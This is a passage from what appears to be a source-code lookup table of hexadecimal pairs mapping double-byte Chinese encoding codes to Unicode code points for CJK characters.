{0x7dda,0x8da0},{0x7eda,0x8da1},{0x80da,0x8da2},{0xa4c8,0x8da3},{0x81da,0x8da4},
{0x82da,0x8da5},{0x83da,0x8da6},{0x84da,0x8da7},{0x85da,0x8da8},{0x86da,0x8da9},
{0x87da,0x8daa},{0x88da,0x8dab},{0x89da,0x8dac},{0x8ada,0x8dad},{0x8bda,0x8dae},
{0x8cda,0x8daf},{0x8dda,0x8db0},{0xf5f4,0x8db1},{0x8eda,0x8db2},{0xe3d7,0x8db3},
{0xbfc5,0x8db4},{0xc0f5,0x8db5},{0x8fda,0x8db6},{0x90da,0x8db7},{0xbbf5,0x8db8},
{0x91da,0x8db9},{0xc3f5,0x8dba},{0x92da,0x8dbb},{0xc2f5,0x8dbc},{0x93da,0x8dbd},
{0xbad6,0x8dbe},{0xc1f5,0x8dbf},{0x94da,0x8dc0},{0x95da,0x8dc1},{0x96da,0x8dc2},
{0xbed4,0x8dc3},{0xc4f5,0x8dc4},{0x97da,0x8dc5},{0xccf5,0x8dc6},{0x98da,0x8dc7},
{0x99da,0x8dc8},{0x9ada,0x8dc9},{0x9bda,0x8dca},{0xcfb0,0x8dcb},{0xf8b5,0x8dcc},
{0x9cda,0x8dcd},{0xc9f5,0x8dce},{0xcaf5,0x8dcf},{0x9dda,0x8dd0},{0xdcc5,0x8dd1},
{0x9eda,0x8dd2},{0x9fda,0x8dd3},{0xa0da,0x8dd4},{0x40db,0x8dd5},{0xc5f5,0x8dd6},
{0xc6f5,0x8dd7},{0x41db,0x8dd8},{0x42db,0x8dd9},{0xc7f5,0x8dda},{0xcbf5,0x8ddb},
{0x43db,0x8ddc},{0xe0be,0x8ddd},{0xc8f5,0x8dde},{0xfab8,0x8ddf},{0x44db,0x8de0},
{0x45db,0x8de1},{0x46db,0x8de2},{0xd0f5,0x8de3},{0xd3f5,0x8de4},{0x47db,0x8de5},
{0x48db,0x8de6},{0x49db,0x8de7},{0xe7bf,0x8de8},{0x4adb,0x8de9},{0xf2b9,0x8dea},
{0xbcf5,0x8deb},{0xcdf5,0x8dec},{0x4bdb,0x8ded},{0x4cdb,0x8dee},{0xb7c2,0x8def},
{0x4ddb,0x8df0},{0x4edb,0x8df1},{0x4fdb,0x8df2},{0xf8cc,0x8df3},{0x50db,0x8df4},
{0xf9bc,0x8df5},{0x51db,0x8df6},{0xcef5,0x8df7},{0xcff5,0x8df8},{0xd1f5,0x8df9},
{0xe5b6,0x8dfa},{0xd2f5,0x8dfb},{0x52db,0x8dfc},{0xd5f5,0x8dfd},{0x53db,0x8dfe},
{0x55db,0x8e00},{0x56db,0x8e01},{0x57db,0x8e02},{0x58db,0x8e03},{0x59db,0x8e04},
{0xbdf5,0x8e05},{0x5adb,0x8e06},{0x5bdb,0x8e07},{0x5cdb,0x8e08},{0xd4f5,0x8e09},
{0xbbd3,0x8e0a},{0x5ddb,0x8e0b},{0xecb3,0x8e0c},{0x5edb,0x8e0d},{0x5fdb,0x8e0e},
{0xa4cc,0x8e0f},{0x60db,0x8e10},{0x61db,0x8e11},{0x62db,0x8e12},{0x63db,0x8e13},
{0xd6f5,0x8e14},{0x64db,0x8e15},{0x65db,0x8e16},{0x66db,0x8e17},{0x67db,0x8e18},
{0x68db,0x8e19},{0x69db,0x8e1a},{0x6adb,0x8e1b},{0x6bdb,0x8e1c},{0xd7f5,0x8e1d},
{0xe1be,0x8e1e},{0xd8f5,0x8e1f},{0x6cdb,0x8e20},{0x6ddb,0x8e21},{0xdfcc,0x8e22},
{0xdbf5,0x8e23},{0x6edb,0x8e24},{0x6fdb,0x8e25},{0x70db,0x8e26},{0x71db,0x8e27},
{0x72db,0x8e28},{0xc8b2,0x8e29},{0xd9d7,0x8e2a},{0x73db,0x8e2b},{0xd9f5,0x8e2c},
{0x74db,0x8e2d},{0xdaf5,0x8e2e},{0xdcf5,0x8e2f},{0x75db,0x8e30},{0xe2f5,0x8e31},
{0x76db,0x8e32},{0x77db,0x8e33},{0x78db,0x8e34},{0xe0f5,0x8e35},{0x79db,0x8e36},
{0x7adb,0x8e37},{0x7bdb,0x8e38},{0xdff5,0x8e39},{0xddf5,0x8e3a},{0x7cdb,0x8e3b},
{0x7ddb,0x8e3c},{0xe1f5,0x8e3d},{0x7edb,0x8e3e},{0x80db,0x8e3f},{0xdef5,0x8e40},
{0xe4f5,0x8e41},{0xe5f5,0x8e42},{0x81db,0x8e43},{0xe3cc,0x8e44},{0x82db,0x8e45},
{0x83db,0x8e46},{0xbfe5,0x8e47},{0xb8b5,0x8e48},{0xe3f5,0x8e49},{0xe8f5,0x8e4a},
{0xa3cc,0x8e4b},{0x84db,0x8e4c},{0x85db,0x8e4d},{0x86db,0x8e4e},{0x87db,0x8e4f},
{0x88db,0x8e50},{0xe6f5,0x8e51},{0xe7f5,0x8e52},{0x89db,0x8e53},{0x8adb,0x8e54},
{0x8bdb,0x8e55},{0x8cdb,0x8e56},{0x8ddb,0x8e57},{0x8edb,0x8e58},{0xbef5,0x8e59},
{0x8fdb,0x8e5a},{0x90db,0x8e5b},{0x91db,0x8e5c},{0x92db,0x8e5d},{0x93db,0x8e5e},
{0x94db,0x8e5f},{0x95db,0x8e60},{0x96db,0x8e61},{0x97db,0x8e62},{0x98db,0x8e63},
{0x99db,0x8e64},{0x9adb,0x8e65},{0xc4b1,0x8e66},{0x9bdb,0x8e67},{0x9cdb,0x8e68},
{0xbff5,0x8e69},{0x9ddb,0x8e6a},{0x9edb,0x8e6b},{0xc5b5,0x8e6c},{0xe4b2,0x8e6d},
{0x9fdb,0x8e6e},{0xecf5,0x8e6f},{0xe9f5,0x8e70},{0xa0db,0x8e71},{0xd7b6,0x8e72},
{0x40dc,0x8e73},{0xedf5,0x8e74},{0x41dc,0x8e75},{0xeaf5,0x8e76},{0x42dc,0x8e77},
{0x43dc,0x8e78},{0x44dc,0x8e79},{0x45dc,0x8e7a},{0x46dc,0x8e7b},{0xebf5,0x8e7c},
{0x47dc,0x8e7d},{0x48dc,0x8e7e},{0xdab4,0x8e7f},{0x49dc,0x8e80},{0xead4,0x8e81},
{0x4adc,0x8e82},{0x4bdc,0x8e83},{0x4cdc,0x8e84},{0xeef5,0x8e85},{0x4ddc,0x8e86},
{0xf9b3,0x8e87},{0x4edc,0x8e88},{0x4fdc,0x8e89},{0x50dc,0x8e8a},{0x51dc,0x8e8b},
{0x52dc,0x8e8c},{0x53dc,0x8e8d},{0x54dc,0x8e8e},{0xeff5,0x8e8f},{0xf1f5,0x8e90},
{0x55dc,0x8e91},{0x56dc,0x8e92},{0x57dc,0x8e93},{0xf0f5,0x8e94},{0x58dc,0x8e95},
{0x59dc,0x8e96},{0x5adc,0x8e97},{0x5bdc,0x8e98},{0x5cdc,0x8e99},{0x5ddc,0x8e9a},
{0x5edc,0x8e9b},{0xf2f5,0x8e9c},{0x5fdc,0x8e9d},{0xf3f5,0x8e9e},{0x60dc,0x8e9f},
{0x61dc,0x8ea0},{0x62dc,0x8ea1},{0x63dc,0x8ea2},{0x64dc,0x8ea3},{0x65dc,0x8ea4},
{0x66dc,0x8ea5},{0x67dc,0x8ea6},{0x68dc,0x8ea7},{0x69dc,0x8ea8},{0x6adc,0x8ea9},
{0x6bdc,0x8eaa},{0xedc9,0x8eab},{0xaab9,0x8eac},{0x6cdc,0x8ead},{0x6ddc,0x8eae},
{0xfbc7,0x8eaf},{0x6edc,0x8eb0},{0x6fdc,0x8eb1},{0xe3b6,0x8eb2},{0x70dc,0x8eb3},
{0x71dc,0x8eb4},{0x72dc,0x8eb5},{0x73dc,0x8eb6},{0x74dc,0x8eb7},{0x75dc,0x8eb8},
{0x76dc,0x8eb9},{0xc9cc,0x8eba},{0x77dc,0x8ebb},{0x78dc,0x8ebc},{0x79dc,0x8ebd},
{0x7adc,0x8ebe},{0x7bdc,0x8ebf},{0x7cdc,0x8ec0},{0x7ddc,0x8ec1},{0x7edc,0x8ec2},
{0x80dc,0x8ec3},{0x81dc,0x8ec4},{0x82dc,0x8ec5},{0x83dc,0x8ec6},{0x84dc,0x8ec7},
{0x85dc,0x8ec8},{0x86dc,0x8ec9},{0x87dc,0x8eca},{0x88dc,0x8ecb},{0x89dc,0x8ecc},
{0x8adc,0x8ecd},{0xa6ea,0x8ece},{0x8bdc,0x8ecf},{0x8cdc,0x8ed0},{0x8ddc,0x8ed1},
{0x8edc,0x8ed2},{0x8fdc,0x8ed3},{0x90dc,0x8ed4},{0x91dc,0x8ed5},{0x92dc,0x8ed6},
{0x93dc,0x8ed7},{0x94dc,0x8ed8},{0x95dc,0x8ed9},{0x96dc,0x8eda},{0x97dc,0x8edb},
{0x98dc,0x8edc},{0x99dc,0x8edd},{0x9adc,0x8ede},{0x9bdc,0x8edf},{0x9cdc,0x8ee0},
{0x9ddc,0x8ee1},{0x9edc,0x8ee2},{0x9fdc,0x8ee3},{0xa0dc,0x8ee4},{0x40dd,0x8ee5},
{0x41dd,0x8ee6},{0x42dd,0x8ee7},{0x43dd,0x8ee8},{0x44dd,0x8ee9},{0x45dd,0x8eea},
{0x46dd,0x8eeb},{0x47dd,0x8eec},{0x48dd,0x8eed},{0x49dd,0x8eee},{0x4add,0x8eef},
{0x4bdd,0x8ef0},{0x4cdd,0x8ef1},{0x4ddd,0x8ef2},{0x4edd,0x8ef3},{0x4fdd,0x8ef4},
{0x50dd,0x8ef5},{0x51dd,0x8ef6},{0x52dd,0x8ef7},{0x53dd,0x8ef8},{0x54dd,0x8ef9},
{0x55dd,0x8efa},{0x56dd,0x8efb},{0x57dd,0x8efc},{0x58dd,0x8efd},{0x59dd,0x8efe},
{0x5bdd,0x8f00},{0x5cdd,0x8f01},{0x5ddd,0x8f02},{0x5edd,0x8f03},{0x5fdd,0x8f04},
{0x60dd,0x8f05},{0x61dd,0x8f06},{0x62dd,0x8f07},{0x63dd,0x8f08},{0x64dd,0x8f09},
{0x65dd,0x8f0a},{0x66dd,0x8f0b},{0x67dd,0x8f0c},{0x68dd,0x8f0d},{0x69dd,0x8f0e},
{0x6add,0x8f0f},{0x6bdd,0x8f10},{0x6cdd,0x8f11},{0x6ddd,0x8f12},{0x6edd,0x8f13},
{0x6fdd,0x8f14},{0x70dd,0x8f15},{0x71dd,0x8f16},{0x72dd,0x8f17},{0x73dd,0x8f18},
{0x74dd,0x8f19},{0x75dd,0x8f1a},{0x76dd,0x8f1b},{0x77dd,0x8f1c},{0x78dd,0x8f1d},
{0x79dd,0x8f1e},{0x7add,0x8f1f},{0x7bdd,0x8f20},{0x7cdd,0x8f21},{0x7ddd,0x8f22},
{0x7edd,0x8f23},{0x80dd,0x8f24},{0x81dd,0x8f25},{0x82dd,0x8f26},{0x83dd,0x8f27},
{0x84dd,0x8f28},{0x85dd,0x8f29},{0x86dd,0x8f2a},{0x87dd,0x8f2b},{0x88dd,0x8f2c},
{0x89dd,0x8f2d},{0x8add,0x8f2e},{0x8bdd,0x8f2f},{0x8cdd,0x8f30},{0x8ddd,0x8f31},
{0x8edd,0x8f32},{0x8fdd,0x8f33},{0x90dd,0x8f34},{0x91dd,0x8f35},{0x92dd,0x8f36},
{0x93dd,0x8f37},{0x94dd,0x8f38},{0x95dd,0x8f39},{0x96dd,0x8f3a},{0x97dd,0x8f3b},
{0x98dd,0x8f3c},{0x99dd,0x8f3d},{0x9add,0x8f3e},{0x9bdd,0x8f3f},{0x9cdd,0x8f40},
{0x9ddd,0x8f41},{0x9edd,0x8f42},{0x9fdd,0x8f43},{0xa0dd,0x8f44},{0x40de,0x8f45},
{0x41de,0x8f46},{0x42de,0x8f47},{0x43de,0x8f48},{0x44de,0x8f49},{0x45de,0x8f4a},
{0x46de,0x8f4b},{0x47de,0x8f4c},{0x48de,0x8f4d},{0x49de,0x8f4e},{0x4ade,0x8f4f},
{0x4bde,0x8f50},{0x4cde,0x8f51},{0x4dde,0x8f52},{0x4ede,0x8f53},{0x4fde,0x8f54},
{0x50de,0x8f55},{0x51de,0x8f56},{0x52de,0x8f57},{0x53de,0x8f58},{0x54de,0x8f59},
{0x55de,0x8f5a},{0x56de,0x8f5b},{0x57de,0x8f5c},{0x58de,0x8f5d},{0x59de,0x8f5e},
{0x5ade,0x8f5f},{0x5bde,0x8f60},{0x5cde,0x8f61},{0x5dde,0x8f62},{0x5ede,0x8f63},
{0x5fde,0x8f64},{0x60de,0x8f65},{0xb5b3,0x8f66},{0xfed4,0x8f67},{0xecb9,0x8f68},
{0xf9d0,0x8f69},{0x61de,0x8f6a},{0xede9,0x8f6b},{0xaad7,0x8f6c},{0xeee9,0x8f6d},
{0xd6c2,0x8f6e},{0xedc8,0x8f6f},{0xe4ba,0x8f70},{0xefe9,0x8f71},{0xf0e9,0x8f72},
{0xf1e9,0x8f73},{0xe1d6,0x8f74},{0xf2e9,0x8f75},{0xf3e9,0x8f76},{0xf5e9,0x8f77},
{0xf4e9,0x8f78},{0xf6e9,0x8f79},{0xf7e9,0x8f7a},{0xe1c7,0x8f7b},{0xf8e9,0x8f7c},
{0xd8d4,0x8f7d},{0xf9e9,0x8f7e},{0xcebd,0x8f7f},{0x62de,0x8f80},{0xfae9,0x8f81},
{0xfbe9,0x8f82},{0xcfbd,0x8f83},{0xfce9,0x8f84},{0xa8b8,0x8f85},{0xbec1,0x8f86},
{0xfde9,0x8f87},{0xb2b1,0x8f88},{0xd4bb,0x8f89},{0xf5b9,0x8f8a},{0xfee9,0x8f8b},
{0x63de,0x8f8c},{0xa1ea,0x8f8d},{0xa2ea,0x8f8e},{0xa3ea,0x8f8f},{0xf8b7,0x8f90},
{0xadbc,0x8f91},{0x64de,0x8f92},{0xe4ca,0x8f93},{0xcee0,0x8f94},{0xafd4,0x8f95},
{0xbdcf,0x8f96},{0xb7d5,0x8f97},{0xa4ea,0x8f98},{0xded5,0x8f99},{0xa5ea,0x8f9a},
{0xc1d0,0x8f9b},{0xbcb9,0x8f9c},{0x65de,0x8f9d},{0xc7b4,0x8f9e},{0xd9b1,0x8f9f},
{0x66de,0x8fa0},{0x67de,0x8fa1},{0x68de,0x8fa2},{0xb1c0,0x8fa3},{0x69de,0x8fa4},
{0x6ade,0x8fa5},{0x6bde,0x8fa6},{0x6cde,0x8fa7},{0xe6b1,0x8fa8},{0xe7b1,0x8fa9},
{0x6dde,0x8faa},{0xe8b1,0x8fab},{0x6ede,0x8fac},{0x6fde,0x8fad},{0x70de,0x8fae},
{0x71de,0x8faf},{0xbdb3,0x8fb0},{0xe8c8,0x8fb1},{0x72de,0x8fb2},{0x73de,0x8fb3},
{0x74de,0x8fb4},{0x75de,0x8fb5},{0xc1e5,0x8fb6},{0x76de,0x8fb7},{0x77de,0x8fb8},
{0xdfb1,0x8fb9},{0x78de,0x8fba},{0x79de,0x8fbb},{0x7ade,0x8fbc},{0xc9c1,0x8fbd},
{0xefb4,0x8fbe},{0x7bde,0x8fbf},{0x7cde,0x8fc0},{0xa8c7,0x8fc1},{0xd8d3,0x8fc2},
{0x7dde,0x8fc3},{0xf9c6,0x8fc4},{0xb8d1,0x8fc5},{0x7ede,0x8fc6},{0xfdb9,0x8fc7},
{0xf5c2,0x8fc8},{0x80de,0x8fc9},{0x81de,0x8fca},{0x82de,0x8fcb},{0x83de,0x8fcc},
{0x84de,0x8fcd},{0xadd3,0x8fce},{0x85de,0x8fcf},{0xcbd4,0x8fd0},{0xfcbd,0x8fd1},
{0x86de,0x8fd2},{0xc2e5,0x8fd3},{0xb5b7,0x8fd4},{0xc3e5,0x8fd5},{0x87de,0x8fd6},
{0x88de,0x8fd7},{0xb9bb,0x8fd8},{0xe2d5,0x8fd9},{0x89de,0x8fda},{0xf8bd,0x8fdb},
{0xb6d4,0x8fdc},{0xa5ce,0x8fdd},{0xacc1,0x8fde},{0xd9b3,0x8fdf},{0x8ade,0x8fe0},
{0x8bde,0x8fe1},{0xf6cc,0x8fe2},{0x8cde,0x8fe3},{0xc6e5,0x8fe4},{0xc4e5,0x8fe5},
{0xc8e5,0x8fe6},{0x8dde,0x8fe7},{0xcae5,0x8fe8},{0xc7e5,0x8fe9},{0xcfb5,0x8fea},
{0xc8c6,0x8feb},{0x8ede,0x8fec},{0xfcb5,0x8fed},{0xc5e5,0x8fee},{0x8fde,0x8fef},
{0xf6ca,0x8ff0},{0x90de,0x8ff1},{0x91de,0x8ff2},{0xc9e5,0x8ff3},{0x92de,0x8ff4},
{0x93de,0x8ff5},{0x94de,0x8ff6},{0xd4c3,0x8ff7},{0xc5b1,0x8ff8},{0xa3bc,0x8ff9},
{0x95de,0x8ffa},{0x96de,0x8ffb},{0x97de,0x8ffc},{0xb7d7,0x8ffd},{0x98de,0x8ffe},
{0xcbcd,0x9000},{0xcdcb,0x9001},{0xcaca,0x9002},{0xd3cc,0x9003},{0xcce5,0x9004},
{0xcbe5,0x9005},{0xe6c4,0x9006},{0x9ade,0x9007},{0x9bde,0x9008},{0xa1d1,0x9009},
{0xb7d1,0x900a},{0xcde5,0x900b},{0x9cde,0x900c},{0xd0e5,0x900d},{0x9dde,0x900e},
{0xb8cd,0x900f},{0xf0d6,0x9010},{0xcfe5,0x9011},{0xddb5,0x9012},{0x9ede,0x9013},
{0xbecd,0x9014},{0x9fde,0x9015},{0xd1e5,0x9016},{0xbab6,0x9017},{0xa0de,0x9018},
{0x40df,0x9019},{0xa8cd,0x901a},{0xe4b9,0x901b},{0x41df,0x901c},{0xc5ca,0x901d},
{0xd1b3,0x901e},{0xd9cb,0x901f},{0xecd4,0x9020},{0xd2e5,0x9021},{0xeab7,0x9022},
{0x42df,0x9023},{0x43df,0x9024},{0x44df,0x9025},{0xcee5,0x9026},{0x45df,0x9027},
{0x46df,0x9028},{0x47df,0x9029},{0x48df,0x902a},{0x49df,0x902b},{0x4adf,0x902c},
{0xd5e5,0x902d},{0xfeb4,0x902e},{0xd6e5,0x902f},{0x4bdf,0x9030},{0x4cdf,0x9031},
{0x4ddf,0x9032},{0x4edf,0x9033},{0x4fdf,0x9034},{0xd3e5,0x9035},{0xd4e5,0x9036},
{0x50df,0x9037},{0xddd2,0x9038},{0x51df,0x9039},{0x52df,0x903a},{0xdfc2,0x903b},
{0xc6b1,0x903c},{0x53df,0x903d},{0xe2d3,0x903e},{0x54df,0x903f},{0x55df,0x9040},
{0xddb6,0x9041},{0xeccb,0x9042},{0x56df,0x9043},{0xd7e5,0x9044},{0x57df,0x9045},
{0x58df,0x9046},{0xf6d3,0x9047},{0x59df,0x9048},{0x5adf,0x9049},{0x5bdf,0x904a},
{0x5cdf,0x904b},{0x5ddf,0x904c},{0xe9b1,0x904d},{0x5edf,0x904e},{0xf4b6,0x904f},
{0xdae5,0x9050},{0xd8e5,0x9051},{0xd9e5,0x9052},{0xc0b5,0x9053},{0x5fdf,0x9054},
{0x60df,0x9055},{0x61df,0x9056},{0xc5d2,0x9057},{0xdce5,0x9058},{0x62df,0x9059},
{0x63df,0x905a},{0xdee5,0x905b},{0x64df,0x905c},{0x65df,0x905d},{0x66df,0x905e},
{0x67df,0x905f},{0x68df,0x9060},{0x69df,0x9061},{0xdde5,0x9062},{0xb2c7,0x9063},
{0x6adf,0x9064},{0xa3d2,0x9065},{0x6bdf,0x9066},{0x6cdf,0x9067},{0xdbe5,0x9068},
{0x6ddf,0x9069},{0x6edf,0x906a},{0x6fdf,0x906b},{0x70df,0x906c},{0xe2d4,0x906d},
{0xdad5,0x906e},{0x71df,0x906f},{0x72df,0x9070},{0x73df,0x9071},{0x74df,0x9072},
{0x75df,0x9073},{0xe0e5,0x9074},{0xf1d7,0x9075},{0x76df,0x9076},{0x77df,0x9077},
{0x78df,0x9078},{0x79df,0x9079},{0x7adf,0x907a},{0x7bdf,0x907b},{0x7cdf,0x907c},
{0xe1e5,0x907d},{0x7ddf,0x907e},{0xdcb1,0x907f},{0xfbd1,0x9080},{0x7edf,0x9081},
{0xe2e5,0x9082},{0xe4e5,0x9083},{0x80df,0x9084},{0x81df,0x9085},{0x82df,0x9086},
{0x83df,0x9087},{0xe3e5,0x9088},{0x84df,0x9089},{0x85df,0x908a},{0xe5e5,0x908b},
{0x86df,0x908c},{0x87df,0x908d},{0x88df,0x908e},{0x89df,0x908f},{0x8adf,0x9090},
{0xd8d2,0x9091},{0x8bdf,0x9092},{0xcbb5,0x9093},{0x8cdf,0x9094},{0xdfe7,0x9095},
{0x8ddf,0x9096},{0xf5da,0x9097},{0x8edf,0x9098},{0xf8da,0x9099},{0x8fdf,0x909a},
{0xf6da,0x909b},{0x90df,0x909c},{0xf7da,0x909d},{0x91df,0x909e},{0x92df,0x909f},
{0x93df,0x90a0},{0xfada,0x90a1},{0xcfd0,0x90a2},{0xc7c4,0x90a3},{0x94df,0x90a4},
{0x95df,0x90a5},{0xeeb0,0x90a6},{0x96df,0x90a7},{0x97df,0x90a8},{0x98df,0x90a9},
{0xb0d0,0x90aa},{0x99df,0x90ab},{0xf9da,0x90ac},{0x9adf,0x90ad},{0xcad3,0x90ae},
{0xaaba,0x90af},{0xa2db,0x90b0},{0xf1c7,0x90b1},{0x9bdf,0x90b2},{0xfcda,0x90b3},
{0xfbda,0x90b4},{0xdbc9,0x90b5},{0xfdda,0x90b6},{0x9cdf,0x90b7},{0xa1db,0x90b8},
{0xded7,0x90b9},{0xfeda,0x90ba},{0xdac1,0x90bb},{0x9ddf,0x90bc},{0x9edf,0x90bd},
{0xa5db,0x90be},{0x9fdf,0x90bf},{0xa0df,0x90c0},{0xf4d3,0x90c1},{0x40e0,0x90c2},
{0x41e0,0x90c3},{0xa7db,0x90c4},{0xa4db,0x90c5},{0x42e0,0x90c6},{0xa8db,0x90c7},
{0x43e0,0x90c8},{0x44e0,0x90c9},{0xbcbd,0x90ca},{0x45e0,0x90cb},{0x46e0,0x90cc},
{0x47e0,0x90cd},{0xc9c0,0x90ce},{0xa3db,0x90cf},{0xa6db,0x90d0},{0xa3d6,0x90d1},
{0x48e0,0x90d2},{0xa9db,0x90d3},{0x49e0,0x90d4},{0x4ae0,0x90d5},{0x4be0,0x90d6},
{0xaddb,0x90d7},{0x4ce0,0x90d8},{0x4de0,0x90d9},{0x4ee0,0x90da},{0xaedb,0x90db},
{0xacdb,0x90dc},{0xc2ba,0x90dd},{0x4fe0,0x90de},{0x50e0,0x90df},{0x51e0,0x90e0},
{0xa4bf,0x90e1},{0xabdb,0x90e2},{0x52e0,0x90e3},{0x53e0,0x90e4},{0x54e0,0x90e5},
{0xaadb,0x90e6},{0xc7d4,0x90e7},{0xbfb2,0x90e8},{0x55e0,0x90e9},{0x56e0,0x90ea},
{0xafdb,0x90eb},{0x57e0,0x90ec},{0xf9b9,0x90ed},{0x58e0,0x90ee},{0xb0db,0x90ef},
{0x59e0,0x90f0},{0x5ae0,0x90f1},{0x5be0,0x90f2},{0x5ce0,0x90f3},{0xbbb3,0x90f4},
{0x5de0,0x90f5},{0x5ee0,0x90f6},{0x5fe0,0x90f7},{0xa6b5,0x90f8},{0x60e0,0x90f9},
{0x61e0,0x90fa},{0x62e0,0x90fb},{0x63e0,0x90fc},{0xbcb6,0x90fd},{0xb1db,0x90fe},
{0x65e0,0x9100},{0x66e0,0x9101},{0xf5b6,0x9102},{0x67e0,0x9103},{0xb2db,0x9104},
{0x68e0,0x9105},{0x69e0,0x9106},{0x6ae0,0x9107},{0x6be0,0x9108},{0x6ce0,0x9109},
{0x6de0,0x910a},{0x6ee0,0x910b},{0x6fe0,0x910c},{0x70e0,0x910d},{0x71e0,0x910e},
{0x72e0,0x910f},{0x73e0,0x9110},{0x74e0,0x9111},{0x75e0,0x9112},{0x76e0,0x9113},
{0x77e0,0x9114},{0x78e0,0x9115},{0x79e0,0x9116},{0x7ae0,0x9117},{0x7be0,0x9118},
{0xc9b1,0x9119},{0x7ce0,0x911a},{0x7de0,0x911b},{0x7ee0,0x911c},{0x80e0,0x911d},
{0xb4db,0x911e},{0x81e0,0x911f},{0x82e0,0x9120},{0x83e0,0x9121},{0xb3db,0x9122},
{0xb5db,0x9123},{0x84e0,0x9124},{0x85e0,0x9125},{0x86e0,0x9126},{0x87e0,0x9127},
{0x88e0,0x9128},{0x89e0,0x9129},{0x8ae0,0x912a},{0x8be0,0x912b},{0x8ce0,0x912c},
{0x8de0,0x912d},{0x8ee0,0x912e},{0xb7db,0x912f},{0x8fe0,0x9130},{0xb6db,0x9131},
{0x90e0,0x9132},{0x91e0,0x9133},{0x92e0,0x9134},{0x93e0,0x9135},{0x94e0,0x9136},
{0x95e0,0x9137},{0x96e0,0x9138},{0xb8db,0x9139},{0x97e0,0x913a},{0x98e0,0x913b},
{0x99e0,0x913c},{0x9ae0,0x913d},{0x9be0,0x913e},{0x9ce0,0x913f},{0x9de0,0x9140},
{0x9ee0,0x9141},{0x9fe0,0x9142},{0xb9db,0x9143},{0xa0e0,0x9144},{0x40e1,0x9145},
{0xbadb,0x9146},{0x41e1,0x9147},{0x42e1,0x9148},{0xcfd3,0x9149},{0xfaf4,0x914a},
{0xf5c7,0x914b},{0xc3d7,0x914c},{0xe4c5,0x914d},{0xfcf4,0x914e},{0xfdf4,0x914f},
{0xfbf4,0x9150},{0x43e1,0x9151},{0xc6be,0x9152},{0x44e1,0x9153},{0x45e1,0x9154},
{0x46e1,0x9155},{0x47e1,0x9156},{0xefd0,0x9157},{0x48e1,0x9158},{0x49e1,0x9159},
{0xd3b7,0x915a},{0x4ae1,0x915b},{0x4be1,0x915c},{0xcdd4,0x915d},{0xaacc,0x915e},
{0x4ce1,0x915f},{0x4de1,0x9160},{0xa2f5,0x9161},{0xa1f5,0x9162},{0xa8ba,0x9163},
{0xfef4,0x9164},{0xd6cb,0x9165},{0x4ee1,0x9166},{0x4fe1,0x9167},{0x50e1,0x9168},
{0xa4f5,0x9169},{0xd2c0,0x916a},{0x51e1,0x916b},{0xeab3,0x916c},{0x52e1,0x916d},
{0xaacd,0x916e},{0xa5f5,0x916f},{0xa3f5,0x9170},{0xb4bd,0x9171},{0xa8f5,0x9172},
{0x53e1,0x9173},{0xa9f5,0x9174},{0xcdbd,0x9175},{0xb8c3,0x9176},{0xe1bf,0x9177},
{0xe1cb,0x9178},{0xaaf5,0x9179},{0x54e1,0x917a},{0x55e1,0x917b},{0x56e1,0x917c},
{0xa6f5,0x917d},{0xa7f5,0x917e},{0xf0c4,0x917f},{0x57e1,0x9180},{0x58e1,0x9181},
{0x59e1,0x9182},{0x5ae1,0x9183},{0x5be1,0x9184},{0xacf5,0x9185},{0x5ce1,0x9186},
{0xbcb4,0x9187},{0x5de1,0x9188},{0xedd7,0x9189},{0x5ee1,0x918a},{0xd7b4,0x918b},
{0xabf5,0x918c},{0xaef5,0x918d},{0x5fe1,0x918e},{0x60e1,0x918f},{0xadf5,0x9190},
{0xaff5,0x9191},{0xd1d0,0x9192},{0x61e1,0x9193},{0x62e1,0x9194},{0x63e1,0x9195},
{0x64e1,0x9196},{0x65e1,0x9197},{0x66e1,0x9198},{0x67e1,0x9199},{0xd1c3,0x919a},
{0xa9c8,0x919b},{0x68e1,0x919c},{0x69e1,0x919d},{0x6ae1,0x919e},{0x6be1,0x919f},
{0x6ce1,0x91a0},{0x6de1,0x91a1},{0xb0f5,0x91a2},{0xb1f5,0x91a3},{0x6ee1,0x91a4},
{0x6fe1,0x91a5},{0x70e1,0x91a6},{0x71e1,0x91a7},{0x72e1,0x91a8},{0x73e1,0x91a9},
{0xb2f5,0x91aa},{0x74e1,0x91ab},{0x75e1,0x91ac},{0xb3f5,0x91ad},{0xb4f5,0x91ae},
{0xb5f5,0x91af},{0x76e1,0x91b0},{0x77e1,0x91b1},{0x78e1,0x91b2},{0x79e1,0x91b3},
{0xb7f5,0x91b4},{0xb6f5,0x91b5},{0x7ae1,0x91b6},{0x7be1,0x91b7},{0x7ce1,0x91b8},
{0x7de1,0x91b9},{0xb8f5,0x91ba},{0x7ee1,0x91bb},{0x80e1,0x91bc},{0x81e1,0x91bd},
{0x82e1,0x91be},{0x83e1,0x91bf},{0x84e1,0x91c0},{0x85e1,0x91c1},{0x86e1,0x91c2},
{0x87e1,0x91c3},{0x88e1,0x91c4},{0x89e1,0x91c5},{0x8ae1,0x91c6},{0xc9b2,0x91c7},
{0x8be1,0x91c8},{0xd4d3,0x91c9},{0xcdca,0x91ca},{0x8ce1,0x91cb},{0xefc0,0x91cc},
{0xd8d6,0x91cd},{0xb0d2,0x91ce},{0xbfc1,0x91cf},{0x8de1,0x91d0},{0xf0bd,0x91d1},
{0x8ee1,0x91d2},{0x8fe1,0x91d3},{0x90e1,0x91d4},{0x91e1,0x91d5},{0x92e1,0x91d6},
{0x93e1,0x91d7},{0x94e1,0x91d8},{0x95e1,0x91d9},{0x96e1,0x91da},{0x97e1,0x91db},
{0xaab8,0x91dc},{0x98e1,0x91dd},{0x99e1,0x91de},{0x9ae1,0x91df},{0x9be1,0x91e0},
{0x9ce1,0x91e1},{0x9de1,0x91e2},{0x9ee1,0x91e3},{0x9fe1,0x91e4},{0xa0e1,0x91e5},
{0x40e2,0x91e6},{0x41e2,0x91e7},{0x42e2,0x91e8},{0x43e2,0x91e9},{0x44e2,0x91ea},
{0x45e2,0x91eb},{0x46e2,0x91ec},{0x47e2,0x91ed},{0x48e2,0x91ee},{0x49e2,0x91ef},
{0x4ae2,0x91f0},{0x4be2,0x91f1},{0x4ce2,0x91f2},{0x4de2,0x91f3},{0x4ee2,0x91f4},
{0x4fe2,0x91f5},{0x50e2,0x91f6},{0x51e2,0x91f7},{0x52e2,0x91f8},{0x53e2,0x91f9},
{0x54e2,0x91fa},{0x55e2,0x91fb},{0x56e2,0x91fc},{0x57e2,0x91fd},{0x58e2,0x91fe},
{0x5ae2,0x9200},{0x5be2,0x9201},{0x5ce2,0x9202},{0x5de2,0x9203},{0x5ee2,0x9204},
